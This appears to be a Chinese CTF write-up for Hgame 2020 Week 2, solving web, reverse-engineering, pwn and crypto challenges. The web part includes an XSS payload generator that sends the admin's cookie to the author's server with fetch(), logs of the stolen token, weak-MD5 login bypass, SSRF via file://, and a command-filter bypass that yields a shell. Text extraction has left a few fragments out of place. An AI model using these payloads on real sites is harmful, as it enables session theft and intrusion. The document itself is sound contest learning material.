



Hgame Week2 Writeup

0x00 Web

Cosmos的博客后台

PHP文件包含的题目。/?action=url

于是用 php://filter/convert.base64-encode/resource=login.php 拿到了login.php的源码
(部分源码如下)

```
1 if (DEBUG_MODE){  
2     if(isset($_GET['debug'])) {  
3         $debug = $_GET['debug'];  
4         if (!preg_match("/^[\x21-\x7E_\x7f-\xFF][\x21-\x7E_\x7f-\xFF]*$/", $  
5 debug)) {  
6             die("args error!");  
7         }  
8         eval("var_dump($$debug);");  
9     }  
10 }  
11  
12 if(isset($_SESSION['username'])) {  
13     header("Location: admin.php");  
14     exit();  
}
```

根据这里的信息又拿到了 admin.php 和 index.php 的源码。

再看这一句 eval("var_dump(\$\$debug);")，可以dump变量

```
jason@Jasons-Mbp ~/Downloads> curl -s http://cosmos-admin.hgame.day-day.work/login.php\?debug\=admin_username | grep string
string(7) "Cosmos!"
jason@Jasons-Mbp ~/Downloads> curl -s http://cosmos-admin.hgame.day-day.work/login.php\?debug\=admin_password | grep string
string(32) "0e114902927253523756713132279690"
```

拿到登录账号和密码MD5密码哈希值

```
1 | if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username)
```

仔细看源码，发现这里是密码的弱类型比较，只要密码的哈希值是 0e 开头的那么就会当作数字0来比较从而绕过。

网上随便一搜一大把，这里我用 s878926199a 成功登入。

接着来到后台管理页面，查看源码发现

```
1 | function insert_img() {
2 |     if (isset($_POST['img_url'])) {
3 |         $img_url = @$_POST['img_url'];
4 |         $url_array = parse_url($img_url);
5 |         if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
6 |             return false;
7 |         }
8 |         $c = curl_init();
9 |         curl_setopt($c, CURLOPT_URL, $img_url);
10 |        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
11 |        $res = curl_exec($c);
12 |        curl_close($c);
13 |        $avatar = base64_encode($res);
14 |
15 |        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
16 |            return $avatar;
17 |        }
18 |    }
19 | }
20 | else {
21 |     return base64_encode(file_get_contents("static/logo.png"));
22 | }
```

emmm，这里卡了我好久，查了curl资料之后才想起来curl是支持file协议的。。

于是输入 file://localhost/flag 绕过

```
> <div style="text-align: center; margin: auto;"><br>
> <form action method="post">...</form>
> <fieldset style="width: 30%; height: 20%; float: left">...</fieldset>
> <fieldset style="width: 30%; height: 20%; ">...</fieldset>
> <fieldset style="height: 50%">
...
... <div style="text-align: center;"> == $0
    26         if i[:4] == 'echo':  
27             code = i  
28             break  
29     # print(code)  
30     code = code[5:code.find('$_SERVER')]  
31     return code.split('(')  
32  
33 def postToken(token):  
34     r = s.post('http://17f37c65aa.php.hgame.n3ko.co/', data = {'token': t}
```

```

35     token})
36         r.raise_for_status()
37         return r.text
38
39     def calcToken(output, code):
40         for c in code:
41             # print(c, repr(output))
42             f = functionMap[c]
43             output = f(output)
44         return output
45
46     def parseFlag(result):
47         for l in result.split('\n'):
48             if 'hgame' in l:
49                 return l
50
51     def main():
52         output = getOutput()
53         print(output)
54
55         code = getCode()
56         print(code)
57
58         token = calcToken(output, code)
59         print(token)
60
61         result = postToken(token)
62         # print(result)
63
64         flag = parseFlag(result)
65         print(flag)
66
67     if __name__ == "__main__":
68         main()

```

运行

```

UWxKVGJWdDdRVGRiZTBrMVcxVnh0RnRoVnpaQ1ZVMNDNbUZZWtKNFZ6Rk5lM0UzUTFWE1rSmhjVDQ9
['base64_encode', 'base64_encode', 'str_rot13', 'strrev', 'strrev', 'encrypt', 'base64_encode', 'strrev', 'encrypt', 'strrev']
301f29f47cf6ea83e95af513b697a45f
hgame{51mple_5Cr!pt_with-python~Or_PHP}

```

拿到flag

Cosmos的聊天室

这道题考的是XSS攻击，经过测试摸清了平台基本的XSS过滤规则

- 尖括号 <> 里的会过滤掉（不闭合没关系）
- `script`, `iframe` 之类的tag会被替换成 HI THERE!

- 会将所有输入进行大写替换

下面就要开始想怎么绕过，有几点可以考虑：既然不能出现 `script`，那么可以考虑用其他tag的某个属性来执行；所有字母都会大写，那可以用特殊的编码来绕过。

我的payload生成脚本如下

```

1 js = lambda x: ''.join(['&#'+str(ord(i))+';' for i in x])
2
3 cmd = "fetch('http://myserver/?'+document.cookie)"
4
5 payload = f'<img src=none onerror="{js(cmd)}"'
6
7 print(payload)

```

服务端是很简单的用 `python3 -m http.server` 搭了一个，在平台测试成功，下面继续

```

1 import hashlib
2
3 md5 = lambda x: hashlib.md5(x.encode()).hexdigest()
4
5 for i in range(100000000):
6     s = str(i)
7     d = md5(s)[:6].lower()
8     # print(d)
9     if d == '4d7c27': # code
10         print(s)
11         break

```

code很简单，md5碰撞一下就能绕过，然后提交

```

[26/Jan/2020 08:14:15] "GET / HTTP/1.1" 200 -
[26/Jan/2020 08:16:13] "GET /?cookie=token=%22WELCOME%20T0%20HGAME%202020.%22 HTTP/1.1" 200 -
[26/Jan/2020 08:16:44] "GET /?token=%22WELCOME%20T0%20HGAME%202020.%22 HTTP/1.1" 200 -
[26/Jan/2020 08:18:08] "GET /?token=%22WELCOME%20T0%20HGAME%202020.%22 HTTP/1.1" 200 -
[26/Jan/2020 08:18:24] "GET /?token=f802788a02a51f9c624bb5d91815b HTTP/1.1" 200 -

```

拿到admin的token，接下来用charles来 `GET /flag`

```

GET /flag HTTP/1.1
Host c-chat.hgame.babelfish.ink
Upgrade-Insecure-Requests 1
DNT 1
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer http://c-chat.hgame.babelfish.ink/
Accept-Encoding gzip, deflate
Accept-Language en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie token="f802788a02a51f9c624bb5d91815b"; session=05208b8a-f62a-44d0-b944-f1bda377ed15
Connection keep-alive

```

Headers Cookies Raw

1 hgame{xss_1s_r3a11y_inTeresT1ng!!}


最后成功拿到flag

Week2 Web AK

0x01 Reverse

unpack

这是一道upx的脱壳题，但是放了学习资料[ELF64手脱UPX壳实战](#)，就变成了白给题2333
跟着教程一步步来，基本一致，所以就不放图了，最后dump出来源程序再ida打开F5



```

IDA View-A Pseudocode-A Hex View-1 Structures
1 __int64 sub_4009AE()
2 {
3     __int64 result; // rax
4     int v1; // [rsp+8h] [rbp-48h]
5     int i; // [rsp+Ch] [rbp-44h]
6     char v3[56]; // [rsp+10h] [rbp-40h]
7     unsigned __int64 v4; // [rsp+48h] [rbp-8h]
8
9     v4 = __readfsqword(0x28u);
10    sub_40F570((__int64)"%42s", v3);
11    v1 = 0;
12    for ( i = 0; i <= 41; ++i )
13    {
14        if ( i + v3[i] != (unsigned __int8)byte_6CA0A0[i] )
15            v1 = 1;
16    }
17    if ( v1 == 1 )
18        sub_40FE40("Wrong input", v3);
19    else
20        sub_40FE40("Congratulations! Flag is your input", v3);
21    result = 0LL;
22    if ( __readfsqword(0x28u) != v4 )
23        sub_443040();
24    return result;
25}

```


十分简单，python跑一下

```
1 b = (
2     0x68, 0x68, 0x63, 0x70, 0x69, 0x80, 0x5B,
3     0x75, 0x78, 0x49, 0x6D, 0x76, 0x75, 0x7B,
4     0x75, 0x6E, 0x41, 0x84, 0x71, 0x65, 0x44,
5     0x82, 0x4A, 0x85, 0x8C, 0x82, 0x7D, 0x7A,
6     0x82, 0x4D, 0x90, 0x7E, 0x92, 0x54, 0x98,
7     0x88, 0x96, 0x98, 0x57, 0x95, 0x8F, 0xA6,
8     0x00, 0x00, 0x00, 0x00, 0x00,
9 )
10
11
12 flag = ''
13 for i in range(42):
14     flag += chr(b[i]-i)
15
16 print(flag)
```

拿到flag: hgame{Unp@cking_1s_R0m4ntic_f0r_r3vers1ng}

Classic_CrackMe

这题是用.net写的图形化界面程序，用reflector打开找到主逻辑函数



流程很简单，源码就摆在那，从而变成了一道AES_CBC解密题。

想要解密这个就必须要知道AES_CBC模式的加密规则和原理

1 CBC加密原理：明文跟向量异或，再用KEY进行加密，结果作为下个BLOCK的初始化向量。解密原理
2 : 使用密钥先对密文解密，解密后再同初始向量异或得到明文。
3
CBC需要对明文块大小进行Padding（补位），由于前后加密的相关性，只能实施串行化动作，无法并行运算。另外，CBC需要参数：密钥和初始化向量。

那接下来就很简单了，直接用Python Decrypt。

```
1 import base64
2 import pyaes
3 from Crypto.Cipher import AES
4 from Crypto.Util.Padding import pad, unpad
5
6 b64Key = b'SGc0bTNfMm8yMF9XZWVLMg=='
7 b64IV = b'MFB1T2g5SWxYMDU0SWN0cw=='
8 key = base64.b64decode(b64Key) # Hg4m3_2o20_WeeK2
9 iv = base64.b64decode(b64IV) # 0Pu0h9ILX054Icts
10
11 str4 = b'Same_ciphertext_'
12 str3_ct = b'dJntSWSPWbWocAq4yjBP5Q=='
13 hint_ct = b'mjdRqH4d108nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I='
14
15 def encrypt(key: bytes, iv: bytes, plaintext: bytes):
16     _aes = pyaes.AES(key)
17     precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, iv) ]
18     ciphertext = _aes.encrypt(precipherblock)
19     return ciphertext
20
21 def decrypt(key: bytes, iv: bytes, ciphertext: bytes):
22     _aes = pyaes.AES(key)
23     plaintext = [ (p ^ l) for (p, l) in zip(_aes.decrypt(ciphertext), iv) ]
24
25     return bytes(plaintext)
26
27 def calcIV(key: bytes, plaintext: bytes, ciphertext: bytes):
28     _aes = pyaes.AES(key)
29     iv = [ (p ^ l) for (p, l) in zip(_aes.decrypt(ciphertext), plaintext) ]
30
31     return bytes(iv)
32
33 str2 = calcIV(key, str4, base64.b64decode(hint_ct)[:16])
34 ct = AES.new(key, AES.MODE_CBC, str2).encrypt(str4+b'\x10'*16)
35 assert base64.b64encode(ct) == hint_ct
36
37 _iv = encrypt(key, iv, str4)
```

```

38 str3 = decrypt(key, _iv, base64.b64decode(str3_ct))
39 ct = AES.new(key, AES.MODE_CBC, iv).encrypt(str4+str3)[16:]
40 assert base64.b64encode(ct) == str3_ct
41
42 str2 = base64.b64encode(str2)
43 str3 = unpad(str3, AES.block_size)
44
flag = f'hgame{{{{str2.decode()}{str3.decode()}}}}'
print(flag)

```

运行得到 hgame{L1R5WF16UG5Z0yQpXHd1Xw==Diff3r3Nt_w0r1d} , 拿到flag

babyPy

简单的python字节码和虚拟指令，对应官方文档[Python字节码反汇编器](#)可以逆出源代码

```

1 import dis
2
3 def encrypt(msg):
4     a = msg[::-1]
5     b = list(a)
6     for i in range(1, len(b)):
7         c = b[i-1] ^ b[i]
8         b[i] = c
9     o = bytes(b)
10    return o.hex()
11
12 #print(dis.dis(encrypt))

```

拿到源代码写出解密函数

```

1 cipher = '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'
2
3 def decrypt(cipher):
4     b = bytes.fromhex(cipher)
5     c = bytearray(b)
6     for i in range(1, len(b)):
7         x = b[i] ^ b[i-1]
8         c[i] = x
9     c.reverse()
10    return c.decode()
11
12 print(decrypt(cipher))
# hgame{sT4cK_1$_s0_e@Sy~~}

```

拿到flag

babyPyc

下载pyc文件，用`pycdc`打开拿到编字节码指令（直接反汇编成源码文件别想了，尝试过，没用，所以纯手逆了。。。）

```
1 | babyPyc_task_e89562fbda.cpython-37.pyc (Python 3.7)
2 | [Disassembly]
3 |     0      LOAD_GLOBAL           0: print
4 |     2      LOAD_CONST            1: 'Give me the flag'
5 |     4      CALL_FUNCTION        1
6 |     6      POP_TOP
7 |     8      LOAD_GLOBAL           1: input
8 |    10      LOAD_CONST            2: '> '
9 |    12      CALL_FUNCTION        1
10 |   14      STORE_FAST             0: flag
11 |   16      LOAD_FAST              0: flag
12 |   18      LOAD_METHOD            2: encode
13 |   20      CALL_METHOD             0
14 |   22      STORE_FAST             0: flag
15 |   24      LOAD_CONST             3: b'QpeZYrN+Wr2iUZKYcZhvjbPcf4mfyL/t
16 | jtfNxM3JR3JPZX5Q'
17 |   26      STORE_GLOBAL           3: 00o
18 |   28      LOAD_FAST              0: flag
19 |   30      RETURN_VALUE
20 | [Disassembly]
21 |     0      BUILD_LIST             0
22 |     2      LOAD_FAST              0: .0
23 |     4      FOR_ITER               20 (to 26)
24 |     6      STORE_FAST             1: row
25 |     8      LOAD_GLOBAL            0: raw_flag
26 |    10      LOAD_CONST             0: 6
27 |    12      LOAD_FAST              1: row
28 |    14      BINARY_MULTIPLY
29 |    16      LOAD_DEREF             0: col
30 |    18      BINARY_ADD
31 |    20      BINARY_SUBSCR
32 |    22      LIST_APPEND             2
33 |    24      JUMP_ABSOLUTE          4
34 |    26      RETURN_VALUE
35 | [Disassembly]
36 |     0      BUILD_LIST             0
37 |     2      LOAD_FAST              0: .0
38 |     4      FOR_ITER               26 (to 32)
39 |     6      STORE_DEREF            0: col
40 |     8      LOAD_CLOSURE           0: col
41 |    10      BUILD_TUPLE             1
42 |    12      LOAD_CONST             0: <CODE> <listcomp>
```

```

43    14 LOAD_CONST           1: '<listcomp>.<listcomp>'
44    16 MAKE_FUNCTION        8
45    18 LOAD_GLOBAL          0: range
46    20 LOAD_CONST           2: 6
47    22 CALL_FUNCTION        1
48    24 GET_ITER
49    26 CALL_FUNCTION        1
50    28 LIST_APPEND          2
51    30 JUMP_ABSOLUTE        4
52    32 RETURN_VALUE

[Disassembly]
54    0  JUMP_ABSOLUTE        2
55    2  LOAD_CONST           0: 0
56    4  LOAD_CONST           1: None
57    6  IMPORT_NAME          0: os
58    8  STORE_NAME            0: os
59   10  LOAD_CONST           0: 0
60   12  LOAD_CONST           1: None
61   14  IMPORT_NAME          1: sys
62   16  STORE_NAME            1: sys
63   18  LOAD_CONST           0: 0
64   20  LOAD_CONST           2: ('b64encode',)
65   22  IMPORT_NAME          2: base64
66   24  IMPORT_FROM          3: b64encode
67   26  STORE_NAME            3: b64encode
68   28  POP_TOP
69   30  LOAD_CONST           3: b'KDq6pvN/LLq6tzM/KXq590h/MTqxtOT
70  32  STORE_GLOBAL          4: 00o                                # 00o = b'KDq6
71  34  LOAD_CONST           4: <CODE> getFlag
72  36  LOAD_CONST           5: 'getFlag'
73  38  MAKE_FUNCTION         0
74  40  STORE_NAME            5: getFlag
75  42  LOAD_NAME             5: getFlag
76  44  CALL_FUNCTION         0
77  46  STORE_NAME            6: flag
78  48  LOAD_NAME             6: flag
79  50  LOAD_CONST           1: None
80  52  LOAD_CONST           6: 6
81  54  BUILD_SLICE          2
82  56  BINARY_SUBSCR
83  58  LOAD_CONST           7: b'hgame{'                      # 格式判断
84  60  COMPARE_OP            3 (!=)
85  62  POP_JUMP_IF_TRUE      76
86  64  LOAD_NAME              6: flag
87  66  LOAD_CONST           8: -1
88  68  BINARY_SUBSCR

```

```
91      70 LOAD_CONST           9: 125
92      72 COMPARE_OP          3 (!=)
93      74 POP_JUMP_IF_FALSE   94
94      76 LOAD_NAME            7: print
95      78 LOAD_CONST           10: 'Incorrect format!'
96      80 CALL_FUNCTION        1
97      82 POP_TOP
98      84 LOAD_NAME            1: sys
99      86 LOAD_METHOD           8: exit
100     88 LOAD_CONST           11: 1
101     90 CALL_METHOD           1
102     92 POP_TOP
103     94 LOAD_NAME            6: flag
104     96 LOAD_CONST           6: 6
105     98 LOAD_CONST           8: -1
106    100 BUILD_SLICE          2
107    102 BINARY_SUBSCR
108    104 STORE_NAME           9: raw_flag      # 去掉 b'hgame{' and
109  b'}' 的原始flag
110    106 LOAD_NAME           10: len
111    108 LOAD_NAME           6: flag
112    110 CALL_FUNCTION        1
113    112 LOAD_CONST           12: 7
114    114 BINARY_SUBTRACT
115    116 LOAD_CONST           13: 36      # 原始flag 长度为36
116    118 COMPARE_OP          3 (=)
117    120 POP_JUMP_IF_FALSE   140
118    122 LOAD_NAME            7: print
119    124 LOAD_CONST           14: 'Wrong length!'
120    126 CALL_FUNCTION        1
121    128 POP_TOP
122    130 LOAD_NAME            1: sys
123    132 LOAD_METHOD           8: exit
124    134 LOAD_CONST           15: 2
125    136 CALL_METHOD           1
126    138 POP_TOP
127    140 LOAD_NAME           9: raw_flag
128    142 LOAD_CONST           1: None
129    144 LOAD_CONST           1: None
130    146 LOAD_CONST           8: -1
131    148 BUILD_SLICE          3      # raw_flag[:::-1]
132    150 BINARY_SUBSCR
133    152 STORE_NAME           9: raw_flag
134  #####
135    154 LOAD_CONST           16: <CODE> <listcomp>
136    156 LOAD_CONST           17: '<listcomp>'
137    158 MAKE_FUNCTION          0
138    160 LOAD_NAME            11: range
```

```
139      162 LOAD_CONST           6: 6
140      164 CALL_FUNCTION        1
141      166 GET_ITER
142      168 CALL_FUNCTION        1
143      170 STORE_NAME           12: _ciphers
144 # for row in range(5):
145      172 SETUP_LOOP           86 (to 260)
146      174 LOAD_NAME            11: range
147      176 LOAD_CONST           18: 5
148      178 CALL_FUNCTION        1
149      180 GET_ITER
150      182 FOR_ITER             74 (to 258)
151      184 STORE_NAME           13: row
152 # for col in range(6):
153      186 SETUP_LOOP           68 (to 256)
154      188 LOAD_NAME            11: range
155      190 LOAD_CONST           6: 6
156      192 CALL_FUNCTION        1
157      194 GET_ITER
158      196 FOR_ITER             56 (to 254)
159      198 STORE_NAME           14: col
160 #
161      200 LOAD_NAME            12: _ciphers
162      202 LOAD_NAME           13: row
163      204 BINARY_SUBSCR
164      206 LOAD_NAME           14: col
165      208 DUP_TOP_TWO
166      210 BINARY_SUBSCR
167
168      212 LOAD_NAME            12: _ciphers
169      214 LOAD_NAME           13: row
170      216 LOAD_CONST           11: 1
171      218 BINARY_ADD
172      220 BINARY_SUBSCR
173      222 LOAD_NAME           14: col
174      224 BINARY_SUBSCR
175      226 INPLACE_ADD
176      228 ROT_THREE
177      230 STORE_SUBSCR
178 #-@
179      232 LOAD_NAME            12: _ciphers
180      234 LOAD_NAME           13: row
181      236 BINARY_SUBSCR
182      238 LOAD_NAME           14: col
183      240 DUP_TOP_TWO
184      242 BINARY_SUBSCR
185      244 LOAD_CONST           19: 256
186      246 INPLACE_MODULO
```

187 248 ROT_THREE
188 250 STORE_SUBSCR
189 252 JUMP_ABSOLUTE 196
190 254 POP_BLOCK
191 256 JUMP_ABSOLUTE 182
192 258 POP_BLOCK
193 #
194 260 LOAD_CONST 20: b''
195 262 STORE_NAME 15: cipher
196 ###
197 264 SETUP_LOOP 70 (to 336)
198 266 LOAD_NAME 11: range
199 268 LOAD_CONST 6: 6
200 270 CALL_FUNCTION 1
201 272 GET_ITER
202 274 FOR_ITER 58 (to 334)
203 276 STORE_NAME 13: row
204 ###
205 278 LOAD_CONST 0: 0
206 280 STORE_NAME 14: col
207 282 SETUP_LOOP 46 (to 330)
208 >>> 284 LOAD_NAME 14: col
209 286 LOAD_CONST 6: 6
210 288 COMPARE_OP 0 (<)
211 290 POP_JUMP_IF_FALSE 328
212 #
213 294 LOAD_NAME 15: cipher
214 296 LOAD_NAME 16: bytes
215 298 LOAD_NAME 12: _ciphers
216 300 LOAD_NAME 13: row
217 302 BINARY_SUBSCR
218 304 LOAD_NAME 14: col
219 306 BINARY_SUBSCR
220 308 BUILD_LIST 1
221 310 CALL_FUNCTION 1
222 312 INPLACE_ADD
223 314 STORE_NAME 15: cipher
224 #
225 316 LOAD_NAME 14: col
226 318 LOAD_CONST 11: 1
227 320 INPLACE_ADD
228 322 STORE_NAME 14: col
229 #
230 324 JUMP_ABSOLUTE 284
231 328 POP_BLOCK
232 330 JUMP_ABSOLUTE 274
233 334 POP_BLOCK
234 #

235	336	LOAD_NAME	3: b64encode
236	338	LOAD_NAME	15: cipher
237	340	CALL_FUNCTION	1
238	342	STORE_NAME	15: cipher
239	344	LOAD_NAME	15: cipher
240	346	LOAD_GLOBAL	4: 00o
241	348	COMPARE_OP	2 (==)
242	350	POP_JUMP_IF_FALSE	364
243	354	LOAD_NAME	7: print
244	356	LOAD_CONST	21: 'Great, this is my flag.'
245	358	CALL_FUNCTION	1
246	360	POP_TOP	
247	362	JUMP_FORWARD	8 (to 372)
248	364	LOAD_NAME	7: print
249	366	LOAD_CONST	22: 'Wrong flag.'
	368	CALL_FUNCTION	1
	370	POP_TOP	
	372	LOAD_CONST	1: None
	374	RETURN_VALUE	

上面的指令看了几遍，基本知道意思了，有些地方也标了注释。

下面是逆出来基本对应的源码

```

1 import dis, base64
2
3 # 这里是个迷惑的操作，因为在源码的get_flag函数里会重新赋值到没注释的那个编码段。。。
4 # pattern = b'/KDq6pvN/LLq6tzM/KXq590h/MTqxt0Txdrqs80oR3V1X09J'
5 pattern = b'QpeZYrN+Wr2iUZKYcZhvjPcf4mfyL/tjtfNxM3JR3JPZX5Q'
6
7 # def listcomp(it):
8 #     l = []
9 #     for col in it:
10 #         (col, )
11 #         def f(_it):
12 #             _l = []
13 #             for row in _it:
14 #                 _l.append(raw_flag[6*row+col])
15 #             return _l
16 #         l.append(f(range(6)))
17 #     return l
18
19 # 这里换了个功能相同，简单好懂的函数。。
20 def listcomp(l):
21     r = []
22     for i in range(6):
23         _r = []
24         for j in range(6):

```

```

25         _r.append(i+6*j)
26     r.append(_r)
27     return r
28
29 def enc(flag):
30     raw_flag = flag[6:-1]
31     raw_flag = raw_flag[::-1]
32     _ciphers = listcomp(raw_flag)
33     for row in range(5):
34         for col in range(6):
35             _ciphers[row][col] += _ciphers[row+1][col]
36             _ciphers[row][col] %= 256
37     cipher = b''
38     for row in range(6):
39         col = 0
40         while col < 6:
41             cipher += bytes([_ciphers[row][col]])
42             col += 1
43     return base64.b64encode(cipher)
44
45 #print(dis.dis(enc))

```

然后就是简单的crypto题了。

```

1 def unlistcomp(l):
2     r = []
3     for i in range(6):
4         for j in range(6):
5             r.append(l[j][i])
6     return r
7
8 def dec():
9     p = base64.b64decode(patten)
10    _ciphers = [list(p[i*6:i*6+6])for i in range(6)]
11    r = list(range(5)); r.reverse()
12    c = list(range(6)); c.reverse()
13    for row in r:
14        for col in c:
15            _ciphers[row][col] -= _ciphers[row+1][col]
16            _ciphers[row][col] %= 256
17    raw_flag = bytes(unlistcomp(_ciphers))
18    raw_flag = raw_flag[::-1]
19    print(f'hgame{{{{raw_flag.decode()}}}}')
20
21 dec()

```

(刚开始还没算出来正确的，因为没注意到上面的listcomp有行列变换过。。。)

然后就很轻松得运行得到flag。。

```
hgame{Pyth0N~0pC0de_i$-50~!NTEr$tINGG89!!}
```

附：手工还原python源码

bbbbbb

做不来，咕咕咕

0x02 Pwn

findyourself

这题有点好玩，其实就是在考linux。。

ida打开，程序初始化一坨随机目录然后进入任意一个

```
v8 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
fd = open("/dev/urandom", 0);
buf = 0;
read(fd, &buf, 1uLL);
buf %= 50;
if ( fd < 0 )
    exit(-1);
chdir("./tmp");
for ( i = 0; i <= 49; ++i )
{
    read(fd, &v4[i], 4uLL);
    sprintf(&v5[20 * i], "0x%08x", (unsigned int)v4[i]);
    mkdir(&v5[20 * i], 0x1EDu);
}
sprintf(&s, 0x16uLL, "./%s", &v5[20 * buf]);
chdir(&s);
puts("find yourself");
read_n((__int64)&command, 0x19u);
if ( (unsigned int)check1(&command) != -1 )
    system(&command);
return __readfsqword(0x28u) ^ v8;
```

注意其中check1函数是会过滤关键字的。

```
for ( i = 0; i < strlen(a1); ++i )
{
    if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != 47 && a1[i] != 32 && a1[i] != 45 )// [a-zA-Z\-\_]
        return 0xFFFFFFFFLL;
}
if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
    result = 0xFFFFFFFF;
else
    result = 0LL;
return result;
```

除了 [a-zA-Z\-_] 其他的都不行。。

输入 ls -l /proc/self/cwd 拿到当前输入，然后继续

第二次system的输入也会过滤关键字，不过更像是黑名单

```

if ( strchr(a1, 42) // *
    || strstr(a1, "sh")
    || strstr(a1, "cat")
    || strstr(a1, "..")
    || strchr(a1, 38) // &
    || strchr(a1, 124) // |
    || strchr(a1, 62) // >
    || strchr(a1, 60) ) // <
{
    result = 0xFFFFFFFFLL;
}
else
{
    result = 0LL;
}

```

这里要注意的，会关闭标准输出。。所以下一条命令你输啥都不会有显示的。。

```

close(1);
close(2);
system(&s1);

```

这就是最狠的地方了，因为我想了半天都卡在不能用重定向符还怎么控制输出。。即使stdin还是开着的。。

后来看了一下shell内置命令，用 `printf 's%s' h` 绕过了关键字过滤拿到shell，然后 cat /flag >&0 传回flag。

```

find yourself
ls -la /proc/self/cwd
lrwxrwxrwx 1 1000 1000 0 Jan 30 08:32 /proc/self/cwd -> /tmp/0x99048ef8
where are you?
/tmp/0x99048ef8
`printf 's%s' h`
cat /flag >&0
hgame{You_4re_So_C1EV3R}
exit

```

后来问了出题人。。他预期是直接 \$0 拿shell。。

C老板不教我，太难了 (Aris真好)**

0x03 Crypto

Verification_code

签到题，前四位sha256爆破就行，直接上代码

```

1 | import string, random
2 | from hashlib import sha256
3 |
4 | d = string.ascii_letters+string.digits
5 |
6 | for i in d:
7 |     for j in d:

```

```

8     for k in d:
9         for l in d:
10            x = i+j+k+l+"PU5a9N6lFog9VXb7"
11            h = sha256(x.encode()).hexdigest()
12            if h == "4ce80bdb3424a743713400a442cdbcf9b18de1c9a6655c1f
13 5336ff04453f47d3":
14                print(x)
15                exit(0)

```

算出后输入那四位然后再输入 I like playing Hgame , 拿到flag

Remainder

中国剩余定理的应用，看了好久的数论才明白个大概。。

$$C \equiv M^d \pmod{n}$$

这是RSA标准的公钥加密公示，其中

$$n=p \cdot q$$

这个计算可以分成两部分进行

$$C_p \equiv M^d \pmod{p}, C_q \equiv M^d \pmod{q}$$

根据费马小定理可以知道

$$C_p \equiv M^{d_1} \pmod{p}, C_q \equiv M^{d_2} \pmod{q}$$

$$d_1 = d \pmod{p-1}, d_2 = d \pmod{q-1}$$

再根据中国剩余定理

$$C = C_p c_1 \frac{pq}{p} + C_q c_2 \frac{pq}{q} \pmod{n} = C_p c_1 q + C_q c_2 p \pmod{n}$$

$$c_1 \equiv q^{-1} \pmod{p}, c_2 \equiv p^{-1} \pmod{q}$$

就能算出用原公钥加密的信息，解密就是常规的RSA解密步骤了。

```

1 #!/usr/bin/env python3
2 # -*- coding: utf-8 -*-
3 from Crypto.Util import number
4
5 p = 945982963057133766525404116319494343013962351116733727382767546541882
6 6701080552254206800445313767859889133540817027760138194458427933936205657
7 9262308427544671688614923839794522671378559276784734758727213070403838632
8 2862804734500867622867068639229687232028303982662205338851291755021425336
9 00559292388005914561
10 q = 150088216417404963893679242888992998793257903343994792697939121738029

```

```

11 4777904548334966001013884937924769735147864010363093785428084705130734088
12 9472740615829640436045223277749199263031699904316537463500180684152049099
13 7788796152678742544032835808854339130676283497122770901196468323977265095
14 016407164510827505883
15 r = 145897736096689096151704740327665176308625097484116713780050311198775
16 6074658620664068308517102618689138358663351071462429793599649451252144208
17 2114667091974111825440209694413948398874545048098970652419166937120821027
18 2907563936516990473246615375022630708213486725809819360033470468293100926
19 616729742277729705727
20
21 n = p * q * r
22 e = 65537
23 d = number.inverse(e, (p-1) * (q-1) * (r-1))
24
25 Cp = 78430786011650521224561924814843614294806974988599591058915520397518
26 5262964227910896921074885341575898566112299780686599709763749716589099872
27 9975971953351935823218072148071963560251552594267898889672712888480363825
28 7227848176298172896155463813264206982505797613067215182849559356336015634
29 543181806296355552543
30 Cq = 49576356423474222188205187306884167620746479677590121213791093908977
31 2958034762035100010601809591909172768175411424115238675551472019924802205
32 3143101962768157233510320058638851969593134830497065187558241305241122481
8844160945410884130575771617919149619341762325633301313732947264125576866
033934018462843559419
Cr = 48131077962649497833189292637861442767562147447040134411078884485513
8405531881859543833302361902533889377855306582797686202130622440531516149
6289362894634359564251387076687781053448053673720030269953939681054542002
1054225204683428522820350356470883574463849146422150244304147618195613796
399010492125383322922

c1 = number.inverse(q*r, p)
c2 = number.inverse(p*r, q)
c3 = number.inverse(p*q, r)

C = ( Cp * c1 * q * r + Cq * c2 * p * r + Cr * c3 * p * q ) % n
m = pow(C, d, n)

assert pow(m, e, n) == C
assert pow(m, e, p) == Cp
assert pow(m, e, q) == Cq
assert pow(m, e, r) == Cr

msg = number.long_to_bytes(m).decode()
print(msg)
flag = ''.join( [ s[:2] for s in msg.split('\n') if s.find(' ') == 2 ] )
print(flag)

```

这里刚开始我是拿前两个p和q来计算的，算出来msg不对长度也不符，把三个一起用上才得到结

果。后来问出题人才大概知道，只用两个质数其实是存在无数解的，所以得用三个或以上才行。。

```
1hAyuFo0UCamGW9BP7pGKCG81iSEnwAOM8x
*****
hg In number theory,
am the Chinese
e{ remainder theorem
Cr states that if one
T_ knows the
w0 remainders of the
Nt Euclidean division
+6 of an integer n
0t by several
h3 integers, then
R_ YOU CAN FIND THE
mE FLAG, ;D
!!
!}
*****
USE YOUR BRAIN *****
cbl8KukOPUvpoe1LCpBchXHJTgmDknbFE2z

hgame{CrT_w0Nt+60th3R_mE!!!}
```

参考资料： [中国剩余定理](#)

Inv

这题是第一天晚上就想试着解决的结果卡了我好久，一直找不到思路。
后来出题人放资料「共模攻击」，也试着去看但还是看不出啥。
终于在看了一晚的群论之后，知道了解法。。

```
1 e = [ _ for _ in range(256) ]
2
3 def mul(a, b):
4     assert len(a) == len(b)
5     return [ a[_] for _ in b ]
6
7 def div_l(c, b):
8     assert len(b) == len(c)
9     a = [ None for _ in range(256) ]
10    for i in range(256):
11        a[b[i]] = c[i]
12    return a
13
14 def div_r(c ,a):
15     assert len(a) == len(c)
16     return [ a.index(i) for i in c ]
17
18 def inverse(a):
19     return div_l(e, a)
```

```

21 def _pow(x, m):
22     y = x
